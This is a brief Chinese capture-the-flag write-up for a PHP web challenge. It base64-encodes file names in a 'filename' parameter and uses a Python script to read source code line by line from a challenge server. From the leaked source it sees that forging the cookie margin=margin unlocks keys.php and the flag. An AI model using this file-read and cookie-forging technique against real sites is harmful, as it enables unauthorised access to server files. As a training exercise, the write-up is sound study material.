url上有base64,解密得到filename=key.txt
index.php用base64加密
同样方法,把加密后的字符串,放到filename的参数中,回车
查看源代码,发现
<?php
猜测 url中
line参数可能控制了,每次读取的行数
简单测试一下 line=1
返回error_reporting(0);
写个脚本,自己手动慢慢一行一行出来也行
import requests
s=requests.session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(0,30):
payload={'line':i,'filename':'aW5kZXgucGhw'}
a=s.get(url,params=payload).content
a=a.decode('utf-8')
print(a)
简单整理一下跑出来的代码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
很清楚了,这里构造keys.php的base64 作为filename的参数
再添加cookie,margin=margin 来读取keys.php的内容
用bp抓包
修改参数
得到flag
版权声明:本文为qq_41173457原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。